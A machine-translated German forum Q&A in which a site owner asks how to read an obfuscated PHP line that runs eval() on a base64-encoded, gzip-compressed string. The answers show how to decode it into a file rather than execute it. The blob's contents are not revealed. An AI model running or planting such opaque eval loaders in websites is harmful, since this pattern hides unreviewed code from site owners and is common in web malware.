2011-01-15 17 views
0

Ich verbrachte eine Stunde oder mehr versuchen, diese zu entschlüsseln:Problem mit PHP-Code

<?php eval(stripslashes(gzinflate(base64_decode("vVZNj9MwEL0j8R9ML2kl2uwBrRB0WwmEhBBwWSSO0TR2G+86tmU77XZ/Pf5I2zR1kl1W0FM88+bZffM8yXLx+hWqf/M30ym6NXtGNBLSUME1mk6bgKUsJKI8ZxUm46R+0Kl2NTObSyZo2Sb8wjES6yjvCRmg326RzhWV5rAHbu1fZ81ekpuRIQ8mvYMthOjonLDnuFIRYykKYUTk0H2VebUW/Jk1mlFMVKOo8X/ScPQOybrkCOh5WhDAp+VK4P05u6P6ajFEod8KZEtLTLeI4ptR4RHTnUVEJHQcv4T8BDGOMx4j5AoCjyTqkioGdi2sFImD2/t/FtwQbi6P0MWeh4Ju9lPbdjLjsM1KwqsxKAX7ceKqgXKiEnSzQGtgmrxFiUNkFPtYUu9jKxObMgUpScZEDs7iR4RLkbwQPmBU5VhWZC0UCRCXh7Wp9/FLRvl91sbYE7AV5PdZvgpBTLVksM8KUZJjVYsJE2kKv7yyqx2w+zrLyQ5Zd3p72dNmITWeTCYfWyaNCxbxucgpsKjPz8pT26VFT7dr88eaHjFUzdbyZGSPCPfJ0C6ppZ1LQtkFoEKRtb0ZxsgPqRsXJa3KnVDYPmo9M9t0tKij6Biep7DoLL4TomQw48Q0SkMQGVLaPhrSz4BVJa285wwhiLzz+stL2FgZRau+jvYS+JyCx0c6y0XZKG4WhWerJYqo/sNeo5+wHRogpYW5uzQwQpqMvSPhknhwILxkGBx26RoFLv/PZ4HdkGyEokT/h4nQdZWbVy3aqYHxfeyXLgCL3Wjxd7f80nYR7HexEUPGZBbzBFN6qqc50jMOu/HIOvzKc4wDL7rDvQ4mX9kKytdinFSKJb7HVmhabpBW+QHkvIowluPE8WfUzQs/3UcImLmk4mBfRQcuPxg6T6Ml8EW7vuG/QGO/kBzupS8TdhSxB1t/KgF+gtzhownwsyQ/qfnu+v3D9RXgzGs/IP0B3BR+hFIv8Hz5Bw==")))); ?> 

Ich möchte Google Analytics auf der Website hinzufügen, aber ich habe nicht </head> weil dieses Codes. Irgendeine Idee was ist los?

+0

Eine Stunde? Hast du es mit der Hand gemacht? Was hast du versucht? –

Antwort

1

Nehmen Sie die Saite, base64 dekodieren Sie sie, dann gzinflieren Sie sie und entfernen Sie die Schrägstriche.

Das ist so ziemlich alles innerhalb der eval() Funktion bereits. Also, anstatt eval, schreibe es in eine Datei.

Nehmen Sie die erforderlichen Änderungen vor, fügen Sie Schrägstriche bei Bedarf hinzu (?), Gzip und base64 kodieren Sie das Ergebnis. Ersetzen Sie die obige Zeichenfolge durch das Endergebnis.

+0

könnten Sie bitte genauer – Krzysztof

+1

@Krzysztof - Was verstehst du nicht? Die PHP-Funktionen in der Zeile, die Sie gepostet haben, decodieren die Zeichenfolge bereits. Anstatt "evel" für das Ergebnis zu verwenden, drucken Sie es oder etwas aus, nehmen Sie Ihre Änderungen vor und erstellen Sie eine neue Zeichenfolge, die die umgekehrten Funktionen in umgekehrter Reihenfolge ausführt. – Oded

+0

Ich nahm einen Code geändert Eval zu drucken und speicherte es in anderen Datei .php und ich kann immer noch nicht den gesamten Code sehen. – Krzysztof

0

http://pastebin.com/N5ZaHpMW

Und hier ist der Code, der mit Strom versorgt, dass:

file_put_contents('temp.txt', stripslashes(gzinflate(base64_decode("vVZNj9MwEL0j8R9ML2kl2uwBrRB0WwmEhBBwWSSO0TR2G+86tmU77XZ/Pf5I2zR1kl1W0FM88+bZffM8yXLx+hWqf/M30ym6NXtGNBLSUME1mk6bgKUsJKI8ZxUm46R+0Kl2NTObSyZo2Sb8wjES6yjvCRmg326RzhWV5rAHbu1fZ81ekpuRIQ8mvYMthOjonLDnuFIRYykKYUTk0H2VebUW/Jk1mlFMVKOo8X/ScPQOybrkCOh5WhDAp+VK4P05u6P6ajFEod8KZEtLTLeI4ptR4RHTnUVEJHQcv4T8BDGOMx4j5AoCjyTqkioGdi2sFImD2/t/FtwQbi6P0MWeh4Ju9lPbdjLjsM1KwqsxKAX7ceKqgXKiEnSzQGtgmrxFiUNkFPtYUu9jKxObMgUpScZEDs7iR4RLkbwQPmBU5VhWZC0UCRCXh7Wp9/FLRvl91sbYE7AV5PdZvgpBTLVksM8KUZJjVYsJE2kKv7yyqx2w+zrLyQ5Zd3p72dNmITWeTCYfWyaNCxbxucgpsKjPz8pT26VFT7dr88eaHjFUzdbyZGSPCPfJ0C6ppZ1LQtkFoEKRtb0ZxsgPqRsXJa3KnVDYPmo9M9t0tKij6Biep7DoLL4TomQw48Q0SkMQGVLaPhrSz4BVJa285wwhiLzz+stL2FgZRau+jvYS+JyCx0c6y0XZKG4WhWerJYqo/sNeo5+wHRogpYW5uzQwQpqMvSPhknhwILxkGBx26RoFLv/PZ4HdkGyEokT/h4nQdZWbVy3aqYHxfeyXLgCL3Wjxd7f80nYR7HexEUPGZBbzBFN6qqc50jMOu/HIOvzKc4wDL7rDvQ4mX9kKytdinFSKJb7HVmhabpBW+QHkvIowluPE8WfUzQs/3UcImLmk4mBfRQcuPxg6T6Ml8EW7vuG/QGO/kBzupS8TdhSxB1t/KgF+gtzhownwsyQ/qfnu+v3D9RXgzGs/IP0B3BR+hFIv8Hz5Bw=="))));